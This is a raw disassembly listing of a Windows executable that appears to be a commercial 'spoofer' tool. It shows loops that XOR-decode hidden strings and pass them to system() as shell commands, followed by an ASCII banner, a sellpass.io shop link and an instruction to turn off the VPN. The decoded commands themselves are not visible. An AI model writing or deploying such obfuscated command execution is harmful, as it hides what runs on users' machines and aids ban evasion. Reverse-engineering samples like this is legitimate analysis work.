punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140007840
cmp r8d, 0x63
jge 0x140007980
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x140007950
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp - 0x70]
lea rsi, [0x140000000]
lea rcx, [rsi + 0x895c0]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x70], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx + 0x80], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x90], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0xa0], rax
movzx eax, byte [rcx + 0xa8]
mov byte [rdx + 0xa8], al
mov r8d, r14d
cmp ebx, 2
jl 0x140007b69
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x140007a60
cmp r8d, 0xa9
jge 0x140007bb3
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa9
jl 0x140007b80
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x70]
lea rax, [rsi + 0x89250]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp ebx, 2
jl 0x140007d70
movdqa xmm5, xmmword [0x140089780]
mov edx, r14d
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140007c70
jmp 0x140007db3
lea r9, [rbp - 0x70]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140007d80
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.OTSX]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x140089480]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x140089490]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1400894a0]
movups xmmword [rbp - 0x40], xmm1
movzx eax, word [0x1400894b0]
mov word [rbp - 0x30], ax
movzx eax, byte [0x1400894b2]
mov byte [rbp - 0x2e], al
mov r8d, r14d
cmp ebx, 2
jl 0x140007f45
movdqa xmm5, xmmword [0x140089780]
movdqa xmm4, xmmword [0x1400897d0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x1400897a0]
movd xmm8, edi
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140007e42
cmp r8d, 0x43
jge 0x140007f80
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x43
jl 0x140007f50
lea rcx, [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [str._UI_h]
mov dword [rsp + 0x40], eax
cmp byte [0x1400894b7], 0
je 0x140008070
cmp ebx, 2
jl 0x14000802f
movdqa xmm3, xmmword [0x140089780]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400897d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400897d0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r15d
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400897a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400897b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x140008070
lea r9, [rsp + 0x40]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140008040
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rsi, qword [rbp - 0x78]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, 3
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._________Please_make_sure_your_VPN_is_turned_off__then:
lea rcx, [rbp + 0x2c8]
call fcn.140001a00
nop
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp + 0x2c8]
call fcn.140010840
mov rdi, rax
lea rcx, [rbp + 0x2c8]
call fcn.140010830
mov rbx, rax
cmp rax, rdi
je 0x1400082e0
mov qword [rbp - 0x78], 0xa
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011260
lea rdx, [0x140011820]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140011840
inc rbx
cmp rbx, rdi
jne 0x1400082b0
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140086708]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____d888b___.d88b.__d8888b._db______d888888b_d8b___db___.d8888._d8888b.__.d88b.___.d88b.__d88888b_d88888b_d8888b.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88_Y8b_.8P__Y8._88___8D_88_________88___888o__88___88__YP_88___8D_.8P__Y8._.8P__Y8._88_____88_____88___8D
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88______88____88_88oooY_88_________88____88V8o_88____8bo.___88oodD_88____88_88____88_88ooo___88ooooo_88oobY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88__ooo_88____88_88b._88_________88____88_V8o88______Y8b._88___88____88_88____88_88___88_88_8b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.___88._8__8b__d8_88___8D_88booo.___.88.___88__V888___db___8D_88_______8b__d8__8b__d8_88______88._____88__88.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Y888P____Y88P__Y8888P_Y88888P_Y888888P_VP___V8P____8888Y_88________Y88P____Y88P__YP______Y88888P_88___YD
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x140097f90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str._________________________________________https:__goblinsp00fer.sellpass.io_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
lea rdx, [0x1400117e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140011600
